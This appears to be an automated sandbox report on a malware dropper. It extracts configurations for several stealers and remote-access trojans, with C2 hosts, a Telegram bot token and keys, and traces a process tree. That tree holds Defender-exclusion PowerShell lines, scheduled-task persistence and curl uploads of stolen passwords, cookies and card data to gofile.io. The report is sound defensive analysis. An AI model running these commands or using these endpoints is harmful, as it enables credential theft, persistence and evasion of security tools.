Resubmissions
25/01/2025, 23:19
250125-3a9dlavrfq1025/01/2025, 00:39
250125-azr7dswras1025/01/2025, 00:32
250125-avsblawpdx1025/01/2025, 00:29
250125-as5h5swnfv1004/12/2024, 19:44
241204-yftswatlcj1028/11/2024, 19:40
241128-ydqnfaxqgy1020/11/2024, 16:31
241120-t1tw6azjfy1020/11/2024, 06:05
241120-gtdv5ssnes1020/11/2024, 06:00
241120-gqchxascje1020/11/2024, 05:52
241120-gk2kvaxkgn10Analysis
- max time kernel
632s - max time network
791s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
16/11/2024, 19:06
General
- Target 4363463463464363463463463.exe.zip
- Size 4KB
- Sample241116-xsbmdssbkd
- SHA256 e4ec3a45621dd556deeea5f953fa05909c82630e9f17baf6b14272a0360d62d1
Score
10/10
Malware Config
Extracted
Family
-
vidar
Version
-
11.4
Botnet
-
7ff5633f6218118c2fc394dfa59b2dd9
C2
-
https://t.me/asg7rd
-
https://steamcommunity.com/profiles/76561199794498376
Attributes
-
user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6
Extracted
Family
-
njrat
Version
-
Njrat 0.7 Golden By Hassan Amiri
Botnet
-
HacKed
C2
-
82.193.104.21:5137
Mutex
-
Windows Update
Attributes
-
reg_key
Windows Update
-
splitter
|Hassan|
Extracted
Family
-
redline
Botnet
-
25072023
C2
-
185.215.113.67:40960
Extracted
Family
-
asyncrat
Version
-
Venom RAT + HVNC + Stealer + Grabber v6.0.2
Botnet
-
Default
C2
-
47.238.55.14:4449
Mutex
-
rqwcncaesrdtlckoweu
Attributes
-
delay
1
-
install
false
-
install_folder
%AppData%
aes.plain
Extracted
Family
-
remcos
Botnet
-
RemoteHost
C2
-
liveos.zapto.org:2404
Attributes
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
tst
-
delete_file
false
-
hide_file
true
-
hide_keylog_file
false
-
install_flag
true
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-Y7B4RN
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Extracted
Family
-
quasar
Version
-
1.4.0
Botnet
-
Office04
C2
-
69.160.242.105:4782
-
69.160.242.105:11066
Mutex
-
66661e0f-33c3-4f2f-88be-1634de535cd1
Attributes
-
encryption_key
CBED6820557E8011D93BA51D49F569DE8C1F98B4
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
java updater
-
subdirectory
SubDir
Extracted
Family
-
cryptbot
C2
-
fivexc5sr.top
-
analforeverlovyu.top
-
fivexc5vt.top
Attributes
-
url_path
/v1/upload.php
Extracted
Family
-
stealc
Botnet
-
valenciga
C2
-
http://185.215.113.17
Attributes
-
url_path
/2fb6c2cc8dce150a.php
Extracted
Family
-
xworm
C2
-
127.0.0.1:6000
-
103.211.201.109:6000
-
exonic-hacks.com:1920
Attributes
-
Install_directory
%AppData%
-
install_file
XClient.exe
-
telegram
https://api.telegram.org/bot7929370892:AAGwrX5TeyxQidZdAEm_Z6-CDvPUOQzVY1M
Extracted
Family
-
redline
Botnet
-
30072024
C2
-
185.215.113.67:40960
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
192.168.1.101:4782
Mutex
-
20f2b2b5-8392-4fbe-9585-0778c516b863
Attributes
-
encryption_key
3A9499E06EC8E749CF7AE8F7D466BD97D9B2380C
-
install_name
Client.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
Quasar Client Startup
-
subdirectory
SubDir
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
RuntimeBroker
C2
-
siembonik-44853.portmap.host:44853
Mutex
-
df483a08-855b-4bf5-bdcb-174788919889
Attributes
-
encryption_key
A8573AD4438B1D5F6207F7C03CCC7F1E2D4B13DF
-
install_name
RuntimeBroker.exe
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
RuntimeBroker
-
subdirectory
am1
Extracted
Family
-
gurcu
C2
-
https://api.telegram.org/bot7929370892:AAGwrX5TeyxQidZdAEm_Z6-CDvPUOQzVY1M/sendMessage?chat_id=-4579594388
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Asyncrat family
- CryptBot
CryptBot is a C++ stealer distributed widely in bundle with other software.
- Cryptbot family
- Detect Vidar Stealer 5 IoCs
- Detect Xworm Payload 6 IoCs
- Detects ZharkBot payload 1 IoCs
ZharkBot is a botnet written C++.
- Gurcu family
- Gurcu, WhiteSnake
Gurcu is a malware stealer written in C#.
- Modifies security service 2 TTPs 2 IoCs
- Njrat family
- Phorphiex family
- Phorphiex payload 4 IoCs
- Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 5 IoCs
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 5 IoCs
- Redline family
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Remcos family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- Suspicious use of NtCreateUserProcessOtherParentProcess 8 IoCs
- Vidar
Vidar is an infostealer based on Arkei stealer.
- Vidar family
- Windows security bypass 2 TTPs 12 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- ZharkBot
ZharkBot is a botnet written C++.
- Zharkbot family
- njRAT/Bladabindi
Widely used RAT written in .NET.
- Async RAT payload 2 IoCs
- Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
- Adds policy Run key to start application 2 TTPs 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 14 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file
- Modifies Windows Firewall 2 TTPs 3 IoCs
- Sets service image path in registry 2 TTPs 1 IoCs
- Stops running service(s) 4 TTPs
- Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
- Checks computer location settings 2 TTPs 19 IoCs
Looks up country code configured in the registry, likely geofence.
- Drops startup file 8 IoCs
- Event Triggered Execution: Component Object Model Hijacking 1 TTPs
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.
- Executes dropped EXE 64 IoCs
- Identifies Wine through registry keys 2 TTPs 1 IoCs
Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.
- Loads dropped DLL 37 IoCs
- Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
- Windows security modification 2 TTPs 14 IoCs
- Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
- Adds Run key to start application 2 TTPs 15 IoCs
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs
- Looks up external IP address via web service 6 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs
Suspicious Windows Authentication Registry Modification.
- Drops autorun.inf file 1 TTPs 5 IoCs
Malware can abuse Windows Autorun to spread further via attached volumes.
- Drops file in System32 directory 4 IoCs
- Enumerates processes with tasklist 1 TTPs 7 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Suspicious use of SetThreadContext 8 IoCs
- Drops file in Program Files directory 22 IoCs
- Drops file in Windows directory 37 IoCs
- Launches sc.exe 15 IoCs
Sc.exe is a Windows utlilty to control services on the system.
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 9 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- Program crash 10 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 3 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- NSIS installer 1 IoCs
- Checks SCSI registry key(s) 3 TTPs 5 IoCs
SCSI information is often read in order to detect sandboxing environments.
- Checks processor information in registry 2 TTPs 10 IoCs
Processor information is often read in order to detect sandboxing environments.
- Delays execution with timeout.exe 3 IoCs
- Enumerates system info in registry 2 TTPs 6 IoCs
- Modifies data under HKEY_USERS 15 IoCs
- Modifies registry class 64 IoCs
- Modifies system certificate store 2 TTPs 2 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
- Suspicious behavior: SetClipboardViewer 2 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of FindShellTrayWindow 64 IoCs
- Suspicious use of SendNotifyMessage 64 IoCs
- Suspicious use of SetWindowsHookEx 16 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe.zip"2⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
C:\Users\Admin\Desktop\4363463463464363463463463.exe"C:\Users\Admin\Desktop\4363463463464363463463463.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Desktop\Files\0b44ippu.exe"C:\Users\Admin\Desktop\Files\0b44ippu.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy Treat Treat.bat & Treat.bat4⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr /I "wrsa opssvc"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\tasklist.exetasklist5⤵
- Enumerates processes with tasklist
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\findstr.exefindstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"5⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.execmd /c md 6467515⤵
-
-
C:\Windows\SysWOW64\findstr.exefindstr /V "AffiliateRobotsJoinedNewsletter" Purse5⤵
-
-
C:\Windows\SysWOW64\cmd.execmd /c copy /b ..\Suitable + ..\Johnson + ..\July + ..\Firmware + ..\Invalid + ..\Baby + ..\Bar + ..\Continental + ..\Ruled + ..\Gay + ..\Hop + ..\Clearance + ..\Wisdom + ..\January + ..\Denmark + ..\Bull c5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\646751\Plates.pifPlates.pif c5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\Admin\AppData\Local\Temp\646751\Plates.pif" & rd /s /q "C:\ProgramData\AKEGHIJJEHJD" & exit6⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\timeout.exetimeout /t 107⤵
- System Location Discovery: System Language Discovery
- Delays execution with timeout.exe
-
-
-
-
C:\Windows\SysWOW64\choice.exechoice /d y /t 55⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\svchost.exe"C:\Users\Admin\Desktop\Files\svchost.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\Files\newfile.exe"C:\Users\Admin\Desktop\Files\newfile.exe"3⤵
- Executes dropped EXE
- Adds Run key to start application
-
-
C:\Users\Admin\Desktop\Files\5_6190317556063017550.exe"C:\Users\Admin\Desktop\Files\5_6190317556063017550.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
-
C:\Users\Admin\Desktop\Files\cdb.exe"C:\Users\Admin\Desktop\Files\cdb.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Desktop\Files\Statement-415322025.exe"C:\Users\Admin\Desktop\Files\Statement-415322025.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\c13606fe9009f11d\setup.msi"4⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
-
-
C:\Users\Admin\Desktop\Files\Client-built.exe"C:\Users\Admin\Desktop\Files\Client-built.exe"3⤵
- Executes dropped EXE
- Drops file in System32 directory
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "java updater" /sc ONLOGON /tr "C:\Users\Admin\Desktop\Files\Client-built.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\system32\SubDir\Client.exe"C:\Windows\system32\SubDir\Client.exe"4⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "java updater" /sc ONLOGON /tr "C:\Windows\system32\SubDir\Client.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵
-
-
-
-
-
C:\Users\Admin\Desktop\Files\DOC.exe"C:\Users\Admin\Desktop\Files\DOC.exe"3⤵
- Executes dropped EXE
- Checks processor information in registry
-
-
C:\Users\Admin\Desktop\Files\stealc_valenciga.exe"C:\Users\Admin\Desktop\Files\stealc_valenciga.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\Desktop\Files\stealc_valenciga.exe" & del "C:\ProgramData\*.dll"" & exit4⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /t 55⤵
- Delays execution with timeout.exe
-
-
-
-
C:\Users\Admin\Desktop\Files\peinf.exe"C:\Users\Admin\Desktop\Files\peinf.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
-
-
C:\Users\Admin\Desktop\Files\freedom.exe"C:\Users\Admin\Desktop\Files\freedom.exe"3⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Desktop\Files\freedom.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'freedom.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\Windows.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Windows.exe'4⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows" /tr "C:\Users\Admin\Windows.exe"4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\Desktop\Files\random.exe"C:\Users\Admin\Desktop\Files\random.exe"3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Executes dropped EXE
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Desktop\Files\EakLauncher.exe"C:\Users\Admin\Desktop\Files\EakLauncher.exe"3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://discord.gg/rsM4AgvAhn4⤵
- Enumerates system info in registry
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffcc8d246f8,0x7ffcc8d24708,0x7ffcc8d247185⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2192 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2240 /prefetch:35⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2868 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3336 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3344 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4924 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=4108 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --service-sandbox-type=video_capture --mojo-platform-channel-handle=3748 /prefetch:85⤵
- Modifies registry class
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5492 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5492 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5460 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5600 /prefetch:15⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,17378011976451301161,2041896806450042833,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5608 /prefetch:15⤵
-
-
-
-
C:\Users\Admin\Desktop\Files\RuntimeBroker.exe"C:\Users\Admin\Desktop\Files\RuntimeBroker.exe"3⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\am1\RuntimeBroker.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\am1\RuntimeBroker.exe"C:\Users\Admin\AppData\Roaming\am1\RuntimeBroker.exe"4⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RuntimeBroker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\am1\RuntimeBroker.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\Desktop\Files\Sniffthem.exe"C:\Users\Admin\Desktop\Files\Sniffthem.exe"3⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
-
C:\Windows\system32\svchost.exe"C:\Windows\system32\svchost.exe"4⤵
-
-
C:\Windows\system32\msiexec.exe"C:\Windows\system32\msiexec.exe"4⤵
- Adds Run key to start application
-
-
C:\Windows\system32\audiodg.exe"C:\Windows\system32\audiodg.exe"4⤵
- Adds Run key to start application
-
-
-
C:\Users\Admin\Desktop\Files\creal.exe"C:\Users\Admin\Desktop\Files\creal.exe"3⤵
-
C:\Users\Admin\Desktop\Files\creal.exe"C:\Users\Admin\Desktop\Files\creal.exe"4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist"5⤵
-
C:\Windows\system32\tasklist.exetasklist6⤵
- Enumerates processes with tasklist
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile6⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\Admin/Desktop/EnableBackup.wmf" https://store4.gofile.io/uploadFile"5⤵
-
C:\Windows\system32\curl.execurl -F "file=@C:\Users\Admin/Desktop/EnableBackup.wmf" https://store4.gofile.io/uploadFile6⤵
-
-
-
